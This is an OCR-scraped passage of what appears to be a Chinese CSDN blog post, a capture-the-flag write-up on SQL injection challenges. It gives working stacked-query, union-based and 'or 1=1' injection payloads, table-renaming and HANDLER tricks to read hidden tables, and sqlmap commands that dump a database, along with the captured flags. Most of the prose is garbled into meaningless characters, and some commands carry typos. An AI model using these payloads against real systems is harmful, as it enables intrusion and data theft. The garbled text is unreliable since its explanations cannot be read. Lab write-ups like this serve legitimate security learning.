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X EFRZ: mariadb IEFE database

F 2022-03-20 21:00:00 B K KA

FRAN S B . ASCNE ERAICE, 8 CC 4.0 BY-SA FRAUIMY, HBRIEM LR A8 MA SR,
A SCEEEE:  httpsy/blog.csdn.net/weixin_63231007/article/details/123536754

FRAL

B B it 5t supersql (3 buuctfBt & 1)
BARBIM— RG] S1 -+ RIS

error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server
version for the right syntax to use near ''' at line 1

{ Forder by aJ &1 B 24N 7 Bk«

error 1054 : Unknown column '3' in 'order clause

FEMABREGERN, RIS Tselectpid k.

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

MEERESEN, KIZTITH.

1" show databases;#

1" show tables; #

RKIA"words" "1919810931114514"HN K.
BEXR 1919810931114514°

-1":show columns from *1919810931114514";--+

EE: DA TFaAaNE, BENEN LRSS,


https://blog.csdn.net/weixin_63231007
https://so.csdn.net/so/search/s.do?q=mariadb&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%2595%25B0%25E6%258D%25AE%25E5%25BA%2593&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=database&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_63231007/article/details/123536754

BEFRERAEEMESE, Rii—iE: ARNZLR—AFT

Z= 1 IF=550)
array(2) {

[o]=>

string(l) "1”

[1]1=>

string(7) “hahahah”
}

array (6) {
[o]=>
string(4) “flag”
[1]1=>
string(12) “varchar (100)”
[2]=>
string(2) "NO”
[3]=>
string(0) ””
[4]=>

[5]=>
string(0) ””

ZE el fflagft £ XA F RSP, WATRHER?

5¥r: supersqlift FiA %

words®, FNFE id . data. HAidNERint (10) . datayFFFAlvarchar (100) .

ek, RE-1FR. HEmFRHflag

A LA SE BRIAEE W 22 words,  FAI1{# Firename. alteriBflagii E K B2 R BN BRINE WK R

B AR

words# i hword123  alter table words rename to words123;

EHFER YN words  alter table “1919810931114514° rename to words;
WIERIwords R P& HidFEE, HAEflagFB 4k hid alter table words change flag id varchar(100);
RA W EIEA):

1"; alter table words rename to words123;alter table *1919810931114514" rename to words;alter table words
change flag id varchar(100);--+

HEGS - BER X  easysql X + h‘ 3 4 > o
& ¢ @ © ‘ £ 220.249.52.133:43246/?inject=1"alter table words rename to words123;alter table 191981 09.3= ase @%Mﬂ o ¢ »
BMFEXEERIRSE, Rii—0iE: ARNZE2R—4A9
e S
array(2) {
[o]=>

string (1) ”1”
[11=>
string(7) “hahahah”

i -

1'or 1=1--+



BERA - BEE X  easy sql X +

< C ® © | 4 220.249.52.133:32538%inject="1"0r 1=1--+

BHFRAELHRIESE, Rii—iE: ARNEESR—FA

B Jesrasie)

array (1) {
[o]l=>
string(38) “flag{c168d583ed0d4d7196967b28cbd0Ob5e9}”

H¥ .
renameflaltertn B2 T, & A XA

1;handler *1919810931114514" open;handler *1919810931114514" read first;handler *1919810931114514°
close;--+

(ATHEMERNELT, MoRBAEBLERERLT, AhanderBE#EHENE. )
HEBVEN R

£SQLY, 458 () RAREFR—%&SqQIBAMER. RE—TFTRIE ; &R A sqli G %L WE T — %8
f], SAhE—'IIT? FXAMEEWHmER T HSEAN . Munion injection (BAEIEN) HREFI KBRS FF
%E g, WEZEEMHAXHA? XAEE Funion B3 union alliTHIEA KRR EREK, W LAHRBITER

/j TS ENT] AT RERREA .. FWLL FXAMF. AF%A: 1; DELETE FROM productsfk 4%

WA REIsqiER N  (FRXEAKSHH#HITEIE) Select * from products where productid=1;DELETE
FROM products 4 #ATEHE, F—KBEREHEE, BKNEBENRHITHER.

BEEE - BED X easy sql el + Ea =

= c @ © | & 220.249.52.133:32337/%inject=1"handler “1919810931114514" openhandler 1919810931114 @*{}Mﬂj o v »
P FREREERIREE, Rii—3i%: ARNZSR—A0]

sl |meme

array (2) {

[o]=>

string(l) ”1”

[11=>

string(7) “hahahah”
}

array (1) {
[o]=>
string(38) “flag{c168d583ed0d4d7196967h28chbdOb5e9}”

011 New center

FAE, ZREEAGEsqQiEAN. MATIEFEEE, WA1'HEE. /5Horder by &t 3LH =/FE. union
select 1,2,3 &EH [FI B 72,3.



search
1' union select 1,2,3 #

News

3 CSDN @FFA1EA2

1'union select 1,2,group_concat(table_name) from information_schema.tables where
table_schema=database()#

searcn
nion select 1,2,group concat(table name) from information schema.tables where table schema=database()#

News

2
news,secret_table

BREEm 53R 4L secret_table. BEZRKFEK.

1'union select 1,2,group_concat(column_name) from information_schema.columns where
table_schema=database() and table_name='secret_table'#

search
1'union select 1,2,group _concat(column_name) from information schema.columns where table schema=datal

News

2
idfldg

CSDN @agFiEd2

ERZRFBA fldg, flaghZmERS, HXER, 5Ffag.

search
1" union select 1,2,fldg from secret table#

News

2
QCTF{sq1_inJec7ion_ezzz} e

ctfhub 2017 225 2 4 & web_injection [ k

sqlmapfi



BHAEITH, BEREHENEburp_suitedl .
copy to fileff 7% #sqlmap H 3% T pack.txt.

M J5 fEemd A i F sqimap:
1. python sqlmap.py -r pack.txt -dbs (i35 E 42 )

lumns .
L, CONCAT (0x7171707171, Ox

5338 FE 4 information_schema,news
2. python sqlmap.py -r pack.txt —D "news" -tables (ZE##4)

CSDN @~ 4f42

5 BlnewsAlisecret_table.
3. python sqglmap.py -r pack.txt -D "news" -T "serect_table" -columns (Z#] 7B %)

in database " news
g out

B3Ifldg, id.

4. python sqlmap.py -r pack.txt -D"news" -T "serect_table" -C "id,fl4g" -dump



B 3flag.
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